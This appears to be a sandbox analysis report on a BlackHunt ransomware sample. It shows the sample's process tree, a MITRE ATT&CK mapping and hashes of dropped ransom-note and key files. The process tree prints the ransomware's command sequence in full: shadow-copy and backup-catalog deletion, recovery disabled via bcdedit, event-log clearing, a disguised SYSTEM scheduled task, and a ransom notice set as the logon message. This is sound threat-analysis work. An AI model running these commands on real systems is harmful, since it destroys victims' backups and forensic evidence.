  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1656
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe" /F
  2⤵
  PID:2312
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1924
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:900
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:700
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1532
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:888
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2524
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1612
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2724
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2264
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2804
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:364
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3316
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3228
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:988
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2264
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3364
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2052
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3380
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3464
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3292
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3472
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3436
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2760
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3420
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3672
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3800
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2736
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:212
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2028
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe"
  2⤵
  - Deletes itself
  PID:3192
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:4004

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2228

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1784

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1724

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1916

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:2508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
30ffdb47b66007cb85020ee4a3966f17

SHA1
e4386b9f7f1fa3458e691c0ea48a186b2b81fa09

SHA256
56f305d928d050f92bb70ced8dfcb5928db33c2762c2108175386d55e541922c

SHA512
59cef59457ba0f7e5d32d228055a8b7ccade59a6fbb0e09e10623b34fd8a97e1e06b8a4def88ce55870af388de8d7e23f0712f68c171cbadded0447b16cea77d

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
3a8fcadfb88d8adac1b9cbc63e471c99

SHA1
790406f3ea2e77804daf527c430534e4809b7eb0

SHA256
96318d346b88f737fa1cea7196317bdcf7fdc9ace80665bc55bd4e7cd7c22c34

SHA512
4d25b58e163f765e5f646b943722be059ac2608f27a6159fcb1521275b1a4a0f93a5b4ad631abcc59436e7feceb2d6801755ebc51a867038356642ee615b19a2

Download Submit
\Device\HarddiskVolume1\#BlackHunt_Private.key

Filesize
1KB

MD5
247cba6c4b1096ed96c79312926319a4

SHA1
efd883cdaa029a0b97d1f94d5b78c0cf9aa9c618

SHA256
d4af430fcfbd083f389af72b17f18b5106430a31907d8f26d63cc2d7af5ca039

SHA512
58416b0fd32fca5568b859ceaf3b43442ea4910941241f4a55b741889be7f1879813f1fbfbd7299a19b2238d75e083af88ec0ce20b83f61c3c5d8ce242fa59a2

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads